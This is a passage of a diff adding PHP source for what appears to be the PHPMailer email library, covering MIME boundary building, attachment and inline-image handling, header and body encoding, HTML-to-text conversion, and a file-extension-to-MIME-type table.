+                ) {
+                    @unlink($file);
+                    $body = file_get_contents($signed);
+                    @unlink($signed);
+                } else {
+                    @unlink($file);
+                    @unlink($signed);
+                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
+                }
+            } catch (phpmailerException $e) {
+                $body = '';
+                if ($this->exceptions) {
+                    throw $e;
+                }
+            }
+        }
+        return $body;
+    }
+
+    /**
+     * Return the start of a message boundary.
+     * @access protected
+     * @param string $boundary
+     * @param string $charSet
+     * @param string $contentType
+     * @param string $encoding
+     * @return string
+     */
+    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
+    {
+        $result = '';
+        if ($charSet == '') {
+            $charSet = $this->CharSet;
+        }
+        if ($contentType == '') {
+            $contentType = $this->ContentType;
+        }
+        if ($encoding == '') {
+            $encoding = $this->Encoding;
+        }
+        $result .= $this->textLine('--' . $boundary);
+        $result .= sprintf("Content-Type: %s; charset=%s", $contentType, $charSet);
+        $result .= $this->LE;
+        $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
+        $result .= $this->LE;
+
+        return $result;
+    }
+
+    /**
+     * Return the end of a message boundary.
+     * @access protected
+     * @param string $boundary
+     * @return string
+     */
+    protected function endBoundary($boundary)
+    {
+        return $this->LE . '--' . $boundary . '--' . $this->LE;
+    }
+
+    /**
+     * Set the message type.
+     * PHPMailer only supports some preset message types,
+     * not arbitrary MIME structures.
+     * @access protected
+     * @return void
+     */
+    protected function setMessageType()
+    {
+        $this->message_type = array();
+        if ($this->alternativeExists()) {
+            $this->message_type[] = "alt";
+        }
+        if ($this->inlineImageExists()) {
+            $this->message_type[] = "inline";
+        }
+        if ($this->attachmentExists()) {
+            $this->message_type[] = "attach";
+        }
+        $this->message_type = implode("_", $this->message_type);
+        if ($this->message_type == "") {
+            $this->message_type = "plain";
+        }
+    }
+
+    /**
+     * Format a header line.
+     * @access public
+     * @param string $name
+     * @param string $value
+     * @return string
+     */
+    public function headerLine($name, $value)
+    {
+        return $name . ': ' . $value . $this->LE;
+    }
+
+    /**
+     * Return a formatted mail line.
+     * @access public
+     * @param string $value
+     * @return string
+     */
+    public function textLine($value)
+    {
+        return $value . $this->LE;
+    }
+
+    /**
+     * Add an attachment from a path on the filesystem.
+     * Returns false if the file could not be found or read.
+     * @param string $path Path to the attachment.
+     * @param string $name Overrides the attachment name.
+     * @param string $encoding File encoding (see $Encoding).
+     * @param string $type File extension (MIME) type.
+     * @param string $disposition Disposition to use
+     * @throws phpmailerException
+     * @return bool
+     */
+    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
+    {
+        try {
+            if (!@is_file($path)) {
+                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
+            }
+
+            //If a MIME type is not specified, try to work it out from the file name
+            if ($type == '') {
+                $type = self::filenameToType($path);
+            }
+
+            $filename = basename($path);
+            if ($name == '') {
+                $name = $filename;
+            }
+
+            $this->attachment[] = array(
+                0 => $path,
+                1 => $filename,
+                2 => $name,
+                3 => $encoding,
+                4 => $type,
+                5 => false, // isStringAttachment
+                6 => $disposition,
+                7 => 0
+            );
+
+        } catch (phpmailerException $e) {
+            $this->setError($e->getMessage());
+            if ($this->exceptions) {
+                throw $e;
+            }
+            $this->edebug($e->getMessage() . "\n");
+            return false;
+        }
+        return true;
+    }
+
+    /**
+     * Return the array of attachments.
+     * @return array
+     */
+    public function getAttachments()
+    {
+        return $this->attachment;
+    }
+
+    /**
+     * Attach all file, string, and binary attachments to the message.
+     * Returns an empty string on failure.
+     * @access protected
+     * @param string $disposition_type
+     * @param string $boundary
+     * @return string
+     */
+    protected function attachAll($disposition_type, $boundary)
+    {
+        // Return text of body
+        $mime = array();
+        $cidUniq = array();
+        $incl = array();
+
+        // Add all attachments
+        foreach ($this->attachment as $attachment) {
+            // Check if it is a valid disposition_filter
+            if ($attachment[6] == $disposition_type) {
+                // Check for string attachment
+                $string = '';
+                $path = '';
+                $bString = $attachment[5];
+                if ($bString) {
+                    $string = $attachment[0];
+                } else {
+                    $path = $attachment[0];
+                }
+
+                $inclhash = md5(serialize($attachment));
+                if (in_array($inclhash, $incl)) {
+                    continue;
+                }
+                $incl[] = $inclhash;
+                $name = $attachment[2];
+                $encoding = $attachment[3];
+                $type = $attachment[4];
+                $disposition = $attachment[6];
+                $cid = $attachment[7];
+                if ($disposition == 'inline' && isset($cidUniq[$cid])) {
+                    continue;
+                }
+                $cidUniq[$cid] = true;
+
+                $mime[] = sprintf("--%s%s", $boundary, $this->LE);
+                $mime[] = sprintf(
+                    "Content-Type: %s; name=\"%s\"%s",
+                    $type,
+                    $this->encodeHeader($this->secureHeader($name)),
+                    $this->LE
+                );
+                $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
+
+                if ($disposition == 'inline') {
+                    $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
+                }
+
+                // If a filename contains any of these chars, it should be quoted,
+                // but not otherwise: RFC2183 & RFC2045 5.1
+                // Fixes a warning in IETF's msglint MIME checker
+                // Allow for bypassing the Content-Disposition header totally
+                if (!(empty($disposition))) {
+                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $name)) {
+                        $mime[] = sprintf(
+                            "Content-Disposition: %s; filename=\"%s\"%s",
+                            $disposition,
+                            $this->encodeHeader($this->secureHeader($name)),
+                            $this->LE . $this->LE
+                        );
+                    } else {
+                        $mime[] = sprintf(
+                            "Content-Disposition: %s; filename=%s%s",
+                            $disposition,
+                            $this->encodeHeader($this->secureHeader($name)),
+                            $this->LE . $this->LE
+                        );
+                    }
+                } else {
+                    $mime[] = $this->LE;
+                }
+
+                // Encode as string attachment
+                if ($bString) {
+                    $mime[] = $this->encodeString($string, $encoding);
+                    if ($this->isError()) {
+                        return '';
+                    }
+                    $mime[] = $this->LE . $this->LE;
+                } else {
+                    $mime[] = $this->encodeFile($path, $encoding);
+                    if ($this->isError()) {
+                        return '';
+                    }
+                    $mime[] = $this->LE . $this->LE;
+                }
+            }
+        }
+
+        $mime[] = sprintf("--%s--%s", $boundary, $this->LE);
+
+        return implode("", $mime);
+    }
+
+    /**
+     * Encode a file attachment in requested format.
+     * Returns an empty string on failure.
+     * @param string $path The full path to the file
+     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
+     * @throws phpmailerException
+     * @see EncodeFile(encodeFile
+     * @access protected
+     * @return string
+     */
+    protected function encodeFile($path, $encoding = 'base64')
+    {
+        try {
+            if (!is_readable($path)) {
+                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
+            }
+            $magic_quotes = get_magic_quotes_runtime();
+            if ($magic_quotes) {
+                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
+                    set_magic_quotes_runtime(0);
+                } else {
+                    ini_set('magic_quotes_runtime', 0);
+                }
+            }
+            $file_buffer = file_get_contents($path);
+            $file_buffer = $this->encodeString($file_buffer, $encoding);
+            if ($magic_quotes) {
+                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
+                    set_magic_quotes_runtime($magic_quotes);
+                } else {
+                    ini_set('magic_quotes_runtime', $magic_quotes);
+                }
+            }
+            return $file_buffer;
+        } catch (Exception $e) {
+            $this->setError($e->getMessage());
+            return '';
+        }
+    }
+
+    /**
+     * Encode a string in requested format.
+     * Returns an empty string on failure.
+     * @param string $str The text to encode
+     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
+     * @access public
+     * @return string
+     */
+    public function encodeString($str, $encoding = 'base64')
+    {
+        $encoded = '';
+        switch (strtolower($encoding)) {
+            case 'base64':
+                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
+                break;
+            case '7bit':
+            case '8bit':
+                $encoded = $this->fixEOL($str);
+                //Make sure it ends with a line break
+                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
+                    $encoded .= $this->LE;
+                }
+                break;
+            case 'binary':
+                $encoded = $str;
+                break;
+            case 'quoted-printable':
+                $encoded = $this->encodeQP($str);
+                break;
+            default:
+                $this->setError($this->lang('encoding') . $encoding);
+                break;
+        }
+        return $encoded;
+    }
+
+    /**
+     * Encode a header string optimally.
+     * Picks shortest of Q, B, quoted-printable or none.
+     * @access public
+     * @param string $str
+     * @param string $position
+     * @return string
+     */
+    public function encodeHeader($str, $position = 'text')
+    {
+        $x = 0;
+        switch (strtolower($position)) {
+            case 'phrase':
+                if (!preg_match('/[\200-\377]/', $str)) {
+                    // Can't use addslashes as we don't know what value has magic_quotes_sybase
+                    $encoded = addcslashes($str, "\0..\37\177\\\"");
+                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
+                        return ($encoded);
+                    } else {
+                        return ("\"$encoded\"");
+                    }
+                }
+                $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
+                break;
+            /** @noinspection PhpMissingBreakStatementInspection */
+            case 'comment':
+                $x = preg_match_all('/[()"]/', $str, $matches);
+                // Intentional fall-through
+            case 'text':
+            default:
+                $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
+                break;
+        }
+
+        if ($x == 0) { //There are no chars that need encoding
+            return ($str);
+        }
+
+        $maxlen = 75 - 7 - strlen($this->CharSet);
+        // Try to select the encoding which should produce the shortest output
+        if ($x > strlen($str) / 3) {
+            //More than a third of the content will need encoding, so B encoding will be most efficient
+            $encoding = 'B';
+            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
+                // Use a custom function which correctly encodes and wraps long
+                // multibyte strings without breaking lines within a character
+                $encoded = $this->base64EncodeWrapMB($str, "\n");
+            } else {
+                $encoded = base64_encode($str);
+                $maxlen -= $maxlen % 4;
+                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
+            }
+        } else {
+            $encoding = 'Q';
+            $encoded = $this->encodeQ($str, $position);
+            $encoded = $this->wrapText($encoded, $maxlen, true);
+            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
+        }
+
+        $encoded = preg_replace('/^(.*)$/m', " =?" . $this->CharSet . "?$encoding?\\1?=", $encoded);
+        $encoded = trim(str_replace("\n", $this->LE, $encoded));
+
+        return $encoded;
+    }
+
+    /**
+     * Check if a string contains multi-byte characters.
+     * @access public
+     * @param string $str multi-byte text to wrap encode
+     * @return bool
+     */
+    public function hasMultiBytes($str)
+    {
+        if (function_exists('mb_strlen')) {
+            return (strlen($str) > mb_strlen($str, $this->CharSet));
+        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
+            return false;
+        }
+    }
+
+    /**
+     * Encode and wrap long multibyte strings for mail headers
+     * without breaking lines within a character.
+     * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
+     * @access public
+     * @param string $str multi-byte text to wrap encode
+     * @param string $lf string to use as linefeed/end-of-line
+     * @return string
+     */
+    public function base64EncodeWrapMB($str, $lf = null)
+    {
+        $start = "=?" . $this->CharSet . "?B?";
+        $end = "?=";
+        $encoded = "";
+        if ($lf === null) {
+            $lf = $this->LE;
+        }
+
+        $mb_length = mb_strlen($str, $this->CharSet);
+        // Each line must have length <= 75, including $start and $end
+        $length = 75 - strlen($start) - strlen($end);
+        // Average multi-byte ratio
+        $ratio = $mb_length / strlen($str);
+        // Base64 has a 4:3 ratio
+        $avgLength = floor($length * $ratio * .75);
+
+        for ($i = 0; $i < $mb_length; $i += $offset) {
+            $lookBack = 0;
+            do {
+                $offset = $avgLength - $lookBack;
+                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
+                $chunk = base64_encode($chunk);
+                $lookBack++;
+            } while (strlen($chunk) > $length);
+            $encoded .= $chunk . $lf;
+        }
+
+        // Chomp the last linefeed
+        $encoded = substr($encoded, 0, -strlen($lf));
+        return $encoded;
+    }
+
+    /**
+     * Encode a string in quoted-printable format.
+     * According to RFC2045 section 6.7.
+     * @access public
+     * @param string $string The text to encode
+     * @param integer $line_max Number of chars allowed on a line before wrapping
+     * @return string
+     * @link PHP version adapted from http://www.php.net/manual/en/function.quoted-printable-decode.php#89417
+     */
+    public function encodeQP($string, $line_max = 76)
+    {
+        if (function_exists('quoted_printable_encode')) { //Use native function if it's available (>= PHP5.3)
+            return quoted_printable_encode($string);
+        }
+        //Fall back to a pure PHP implementation
+        $string = str_replace(
+            array('%20', '%0D%0A.', '%0D%0A', '%'),
+            array(' ', "\r\n=2E", "\r\n", '='),
+            rawurlencode($string)
+        );
+        $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
+        return $string;
+    }
+
+    /**
+     * Backward compatibility wrapper for an old QP encoding function that was removed.
+     * @see PHPMailer::encodeQP()
+     * @access public
+     * @param string $string
+     * @param integer $line_max
+     * @param bool $space_conv
+     * @return string
+     * @deprecated Use encodeQP instead.
+     */
+    public function encodeQPphp(
+        $string,
+        $line_max = 76,
+        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
+    ) {
+        return $this->encodeQP($string, $line_max);
+    }
+
+    /**
+     * Encode a string using Q encoding.
+     * @link http://tools.ietf.org/html/rfc2047
+     * @param string $str the text to encode
+     * @param string $position Where the text is going to be used, see the RFC for what that means
+     * @access public
+     * @return string
+     */
+    public function encodeQ($str, $position = 'text')
+    {
+        //There should not be any EOL in the string
+        $pattern = '';
+        $encoded = str_replace(array("\r", "\n"), '', $str);
+        switch (strtolower($position)) {
+            case 'phrase':
+                //RFC 2047 section 5.3
+                $pattern = '^A-Za-z0-9!*+\/ -';
+                break;
+            /** @noinspection PhpMissingBreakStatementInspection */
+            case 'comment':
+                //RFC 2047 section 5.2
+                $pattern = '\(\)"';
+                //intentional fall-through
+                //for this reason we build the $pattern without including delimiters and []
+            case 'text':
+            default:
+                //RFC 2047 section 5.1
+                //Replace every high ascii, control, =, ? and _ characters
+                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
+                break;
+        }
+        $matches = array();
+        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
+            //If the string contains an '=', make sure it's the first thing we replace
+            //so as to avoid double-encoding
+            $s = array_search('=', $matches[0]);
+            if ($s !== false) {
+                unset($matches[0][$s]);
+                array_unshift($matches[0], '=');
+            }
+            foreach (array_unique($matches[0]) as $char) {
+                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
+            }
+        }
+        //Replace every spaces to _ (more readable than =20)
+        return str_replace(' ', '_', $encoded);
+    }
+
+
+    /**
+     * Add a string or binary attachment (non-filesystem).
+     * This method can be used to attach ascii or binary data,
+     * such as a BLOB record from a database.
+     * @param string $string String attachment data.
+     * @param string $filename Name of the attachment.
+     * @param string $encoding File encoding (see $Encoding).
+     * @param string $type File extension (MIME) type.
+     * @param string $disposition Disposition to use
+     * @return void
+     */
+    public function addStringAttachment(
+        $string,
+        $filename,
+        $encoding = 'base64',
+        $type = '',
+        $disposition = 'attachment'
+    ) {
+        //If a MIME type is not specified, try to work it out from the file name
+        if ($type == '') {
+            $type = self::filenameToType($filename);
+        }
+        // Append to $attachment array
+        $this->attachment[] = array(
+            0 => $string,
+            1 => $filename,
+            2 => basename($filename),
+            3 => $encoding,
+            4 => $type,
+            5 => true, // isStringAttachment
+            6 => $disposition,
+            7 => 0
+        );
+    }
+
+    /**
+     * Add an embedded (inline) attachment from a file.
+     * This can include images, sounds, and just about any other document type.
+     * These differ from 'regular' attachmants in that they are intended to be
+     * displayed inline with the message, not just attached for download.
+     * This is used in HTML messages that embed the images
+     * the HTML refers to using the $cid value.
+     * @param string $path Path to the attachment.
+     * @param string $cid Content ID of the attachment; Use this to reference
+     *        the content when using an embedded image in HTML.
+     * @param string $name Overrides the attachment name.
+     * @param string $encoding File encoding (see $Encoding).
+     * @param string $type File MIME type.
+     * @param string $disposition Disposition to use
+     * @return bool True on successfully adding an attachment
+     */
+    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
+    {
+        if (!@is_file($path)) {
+            $this->setError($this->lang('file_access') . $path);
+            return false;
+        }
+
+        //If a MIME type is not specified, try to work it out from the file name
+        if ($type == '') {
+            $type = self::filenameToType($path);
+        }
+
+        $filename = basename($path);
+        if ($name == '') {
+            $name = $filename;
+        }
+
+        // Append to $attachment array
+        $this->attachment[] = array(
+            0 => $path,
+            1 => $filename,
+            2 => $name,
+            3 => $encoding,
+            4 => $type,
+            5 => false, // isStringAttachment
+            6 => $disposition,
+            7 => $cid
+        );
+        return true;
+    }
+
+    /**
+     * Add an embedded stringified attachment.
+     * This can include images, sounds, and just about any other document type.
+     * Be sure to set the $type to an image type for images:
+     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
+     * @param string $string The attachment binary data.
+     * @param string $cid Content ID of the attachment; Use this to reference
+     *        the content when using an embedded image in HTML.
+     * @param string $name
+     * @param string $encoding File encoding (see $Encoding).
+     * @param string $type MIME type.
+     * @param string $disposition Disposition to use
+     * @return bool True on successfully adding an attachment
+     */
+    public function addStringEmbeddedImage(
+        $string,
+        $cid,
+        $name = '',
+        $encoding = 'base64',
+        $type = '',
+        $disposition = 'inline'
+    ) {
+        //If a MIME type is not specified, try to work it out from the name
+        if ($type == '') {
+            $type = self::filenameToType($name);
+        }
+
+        // Append to $attachment array
+        $this->attachment[] = array(
+            0 => $string,
+            1 => $name,
+            2 => $name,
+            3 => $encoding,
+            4 => $type,
+            5 => true, // isStringAttachment
+            6 => $disposition,
+            7 => $cid
+        );
+        return true;
+    }
+
+    /**
+     * Check if an inline attachment is present.
+     * @access public
+     * @return bool
+     */
+    public function inlineImageExists()
+    {
+        foreach ($this->attachment as $attachment) {
+            if ($attachment[6] == 'inline') {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /**
+     * Check if an attachment (non-inline) is present.
+     * @return bool
+     */
+    public function attachmentExists()
+    {
+        foreach ($this->attachment as $attachment) {
+            if ($attachment[6] == 'attachment') {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /**
+     * Check if this message has an alternative body set.
+     * @return bool
+     */
+    public function alternativeExists()
+    {
+        return !empty($this->AltBody);
+    }
+
+    /**
+     * Clear all To recipients.
+     * @return void
+     */
+    public function clearAddresses()
+    {
+        foreach ($this->to as $to) {
+            unset($this->all_recipients[strtolower($to[0])]);
+        }
+        $this->to = array();
+    }
+
+    /**
+     * Clear all CC recipients.
+     * @return void
+     */
+    public function clearCCs()
+    {
+        foreach ($this->cc as $cc) {
+            unset($this->all_recipients[strtolower($cc[0])]);
+        }
+        $this->cc = array();
+    }
+
+    /**
+     * Clear all BCC recipients.
+     * @return void
+     */
+    public function clearBCCs()
+    {
+        foreach ($this->bcc as $bcc) {
+            unset($this->all_recipients[strtolower($bcc[0])]);
+        }
+        $this->bcc = array();
+    }
+
+    /**
+     * Clear all ReplyTo recipients.
+     * @return void
+     */
+    public function clearReplyTos()
+    {
+        $this->ReplyTo = array();
+    }
+
+    /**
+     * Clear all recipient types.
+     * @return void
+     */
+    public function clearAllRecipients()
+    {
+        $this->to = array();
+        $this->cc = array();
+        $this->bcc = array();
+        $this->all_recipients = array();
+    }
+
+    /**
+     * Clear all filesystem, string, and binary attachments.
+     * @return void
+     */
+    public function clearAttachments()
+    {
+        $this->attachment = array();
+    }
+
+    /**
+     * Clear all custom headers.
+     * @return void
+     */
+    public function clearCustomHeaders()
+    {
+        $this->CustomHeader = array();
+    }
+
+    /**
+     * Add an error message to the error container.
+     * @access protected
+     * @param string $msg
+     * @return void
+     */
+    protected function setError($msg)
+    {
+        $this->error_count++;
+        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
+            $lasterror = $this->smtp->getError();
+            if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
+                $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
+            }
+        }
+        $this->ErrorInfo = $msg;
+    }
+
+    /**
+     * Return an RFC 822 formatted date.
+     * @access public
+     * @return string
+     * @static
+     */
+    public static function rfcDate()
+    {
+        //Set the time zone to whatever the default is to avoid 500 errors
+        //Will default to UTC if it's not set properly in php.ini
+        date_default_timezone_set(@date_default_timezone_get());
+        return date('D, j M Y H:i:s O');
+    }
+
+    /**
+     * Get the server hostname.
+     * Returns 'localhost.localdomain' if unknown.
+     * @access protected
+     * @return string
+     */
+    protected function serverHostname()
+    {
+        if (!empty($this->Hostname)) {
+            $result = $this->Hostname;
+        } elseif (isset($_SERVER['SERVER_NAME'])) {
+            $result = $_SERVER['SERVER_NAME'];
+        } else {
+            $result = 'localhost.localdomain';
+        }
+
+        return $result;
+    }
+
+    /**
+     * Get an error message in the current language.
+     * @access protected
+     * @param string $key
+     * @return string
+     */
+    protected function lang($key)
+    {
+        if (count($this->language) < 1) {
+            $this->setLanguage('en'); // set the default language
+        }
+
+        if (isset($this->language[$key])) {
+            return $this->language[$key];
+        } else {
+            return 'Language string failed to load: ' . $key;
+        }
+    }
+
+    /**
+     * Check if an error occurred.
+     * @access public
+     * @return bool True if an error did occur.
+     */
+    public function isError()
+    {
+        return ($this->error_count > 0);
+    }
+
+    /**
+     * Ensure consistent line endings in a string.
+     * Changes every end of line from CRLF, CR or LF to $this->LE.
+     * @access public
+     * @param string $str String to fixEOL
+     * @return string
+     */
+    public function fixEOL($str)
+    {
+        // Normalise to \n
+        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
+        // Now convert LE as needed
+        if ($this->LE !== "\n") {
+            $nstr = str_replace("\n", $this->LE, $nstr);
+        }
+        return $nstr;
+    }
+
+    /**
+     * Add a custom header.
+     * $name value can be overloaded to contain
+     * both header name and value (name:value)
+     * @access public
+     * @param string $name Custom header name
+     * @param string $value Header value
+     * @return void
+     */
+    public function addCustomHeader($name, $value = null)
+    {
+        if ($value === null) {
+            // Value passed in as name:value
+            $this->CustomHeader[] = explode(':', $name, 2);
+        } else {
+            $this->CustomHeader[] = array($name, $value);
+        }
+    }
+
+    /**
+     * Create a message from an HTML string.
+     * Automatically makes modifications for inline images and backgrounds
+     * and creates a plain-text version by converting the HTML.
+     * Overwrites any existing values in $this->Body and $this->AltBody
+     * @access public
+     * @param string $message HTML message string
+     * @param string $basedir baseline directory for path
+     * @param bool $advanced Whether to use the advanced HTML to text converter
+     * @return string $message
+     */
+    public function msgHTML($message, $basedir = '', $advanced = false)
+    {
+        preg_match_all("/(src|background)=[\"'](.*)[\"']/Ui", $message, $images);
+        if (isset($images[2])) {
+            foreach ($images[2] as $i => $url) {
+                // do not change urls for absolute images (thanks to corvuscorax)
+                if (!preg_match('#^[A-z]+://#', $url)) {
+                    $filename = basename($url);
+                    $directory = dirname($url);
+                    if ($directory == '.') {
+                        $directory = '';
+                    }
+                    $cid = md5($url) . '@phpmailer.0'; //RFC2392 S 2
+                    if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
+                        $basedir .= '/';
+                    }
+                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
+                        $directory .= '/';
+                    }
+                    if ($this->addEmbeddedImage(
+                        $basedir . $directory . $filename,
+                        $cid,
+                        $filename,
+                        'base64',
+                        self::_mime_types(self::mb_pathinfo($filename, PATHINFO_EXTENSION))
+                    )
+                    ) {
+                        $message = preg_replace(
+                            "/" . $images[1][$i] . "=[\"']" . preg_quote($url, '/') . "[\"']/Ui",
+                            $images[1][$i] . "=\"cid:" . $cid . "\"",
+                            $message
+                        );
+                    }
+                }
+            }
+        }
+        $this->isHTML(true);
+        if (empty($this->AltBody)) {
+            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' . "\n\n";
+        }
+        //Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
+        $this->Body = $this->normalizeBreaks($message);
+        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
+        return $this->Body;
+    }
+
+    /**
+     * Convert an HTML string into plain text.
+     * @param string $html The HTML text to convert
+     * @param bool $advanced Should this use the more complex html2text converter or just a simple one?
+     * @return string
+     */
+    public function html2text($html, $advanced = false)
+    {
+        if ($advanced) {
+            require_once 'extras/class.html2text.php';
+            $h = new html2text($html);
+            return $h->get_text();
+        }
+        return html_entity_decode(
+            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
+            ENT_QUOTES,
+            $this->CharSet
+        );
+    }
+
+    /**
+     * Get the MIME type for a file extension.
+     * @param string $ext File extension
+     * @access public
+     * @return string MIME type of file.
+     * @static
+     */
+    public static function _mime_types($ext = '')
+    {
+        $mimes = array(
+            'xl' => 'application/excel',
+            'hqx' => 'application/mac-binhex40',
+            'cpt' => 'application/mac-compactpro',
+            'bin' => 'application/macbinary',
+            'doc' => 'application/msword',
+            'word' => 'application/msword',
+            'class' => 'application/octet-stream',
+            'dll' => 'application/octet-stream',
+            'dms' => 'application/octet-stream',
+            'exe' => 'application/octet-stream',
+            'lha' => 'application/octet-stream',
+            'lzh' => 'application/octet-stream',
+            'psd' => 'application/octet-stream',
+            'sea' => 'application/octet-stream',
+            'so' => 'application/octet-stream',
+            'oda' => 'application/oda',
+            'pdf' => 'application/pdf',
+            'ai' => 'application/postscript',
+            'eps' => 'application/postscript',
+            'ps' => 'application/postscript',
+            'smi' => 'application/smil',
+            'smil' => 'application/smil',
+            'mif' => 'application/vnd.mif',
+            'xls' => 'application/vnd.ms-excel',
+            'ppt' => 'application/vnd.ms-powerpoint',
+            'wbxml' => 'application/vnd.wap.wbxml',
+            'wmlc' => 'application/vnd.wap.wmlc',
+            'dcr' => 'application/x-director',
+            'dir' => 'application/x-director',
+            'dxr' => 'application/x-director',
+            'dvi' => 'application/x-dvi',
+            'gtar' => 'application/x-gtar',
+            'php3' => 'application/x-httpd-php',
+            'php4' => 'application/x-httpd-php',
+            'php' => 'application/x-httpd-php',
+            'phtml' => 'application/x-httpd-php',
+            'phps' => 'application/x-httpd-php-source',
+            'js' => 'application/x-javascript',
+            'swf' => 'application/x-shockwave-flash',
+            'sit' => 'application/x-stuffit',
+            'tar' => 'application/x-tar',
+            'tgz' => 'application/x-tar',
+            'xht' => 'application/xhtml+xml',
+            'xhtml' => 'application/xhtml+xml',
+            'zip' => 'application/zip',
+            'mid' => 'audio/midi',
+            'midi' => 'audio/midi',
+            'mp2' => 'audio/mpeg',
+            'mp3' => 'audio/mpeg',
+            'mpga' => 'audio/mpeg',
+            'aif' => 'audio/x-aiff',
+            'aifc' => 'audio/x-aiff',
+            'aiff' => 'audio/x-aiff',
+            'ram' => 'audio/x-pn-realaudio',
+            'rm' => 'audio/x-pn-realaudio',
+            'rpm' => 'audio/x-pn-realaudio-plugin',
+            'ra' => 'audio/x-realaudio',
+            'wav' => 'audio/x-wav',
+            'bmp' => 'image/bmp',
+            'gif' => 'image/gif',
+            'jpeg' => 'image/jpeg',
+            'jpe' => 'image/jpeg',
+            'jpg' => 'image/jpeg',
+            'png' => 'image/png',
+            'tiff' => 'image/tiff',
+            'tif' => 'image/tiff',
+            'eml' => 'message/rfc822',
+            'css' => 'text/css',
+            'html' => 'text/html',
+            'htm' => 'text/html',
+            'shtml' => 'text/html',
+            'log' => 'text/plain',
+            'text' => 'text/plain',
+            'txt' => 'text/plain',
+            'rtx' => 'text/richtext',
+            'rtf' => 'text/rtf',
+            'xml' => 'text/xml',
+            'xsl' => 'text/xml',
+            'mpeg' => 'video/mpeg',
+            'mpe' => 'video/mpeg',
+            'mpg' => 'video/mpeg',
+            'mov' => 'video/quicktime',
+            'qt' => 'video/quicktime',
+            'rv' => 'video/vnd.rn-realvideo',
+            'avi' => 'video/x-msvideo',
+            'movie' => 'video/x-sgi-movie'
+        );
+        return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
+    }
+
+    /**
+     * Map a file name to a MIME type.
+     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
+     * @param string $filename A file name or full path, does not need to exist as a file
+     * @return string
+     * @static
+     */
+    public static function filenameToType($filename)
+    {
+        //In case the path is a URL, strip any query string before getting extension
+        $qpos = strpos($filename, '?');
+        if ($qpos !== false) {
+            $filename = substr($filename, 0, $qpos);
+        }
+        $pathinfo = self::mb_pathinfo($filename);
+        return self::_mime_types($pathinfo['extension']);
+    }
+
+    /**
+     * Multi-byte-safe pathinfo replacement.
+     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
+     * Works similarly to the one in PHP >= 5.2.0
+     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
+     * @param string $path A filename or path, does not need to exist as a file
+     * @param integer|string $options Either a PATHINFO_* constant,
+     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
+     * @return string|array
+     * @static
+     */
+    public static function mb_pathinfo($path, $options = null)
+    {
+        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
+        $m = array();
+        preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $m);
+        if (array_key_exists(1, $m)) {
+            $ret['dirname'] = $m[1];
+        }
+        if (array_key_exists(2, $m)) {
+            $ret['basename'] = $m[2];
+        }
+        if (array_key_exists(5, $m)) {
+            $ret['extension'] = $m[5];
+        }
+        if (array_key_exists(3, $m)) {
+            $ret['filename'] = $m[3];
+        }
+        switch ($options) {
+            case PATHINFO_DIRNAME:
+            case 'dirname':
+                return $ret['dirname'];
+                break;
+            case PATHINFO_BASENAME:
+            case 'basename':
+                return $ret['basename'];
+                break;
+            case PATHINFO_EXTENSION:
+            case 'extension':
+                return $ret['extension'];
+                break;
+            case PATHINFO_FILENAME:
+            case 'filename':
+                return $ret['filename'];
+                break;
+            default:
+                return $ret;
+        }
+    }
+
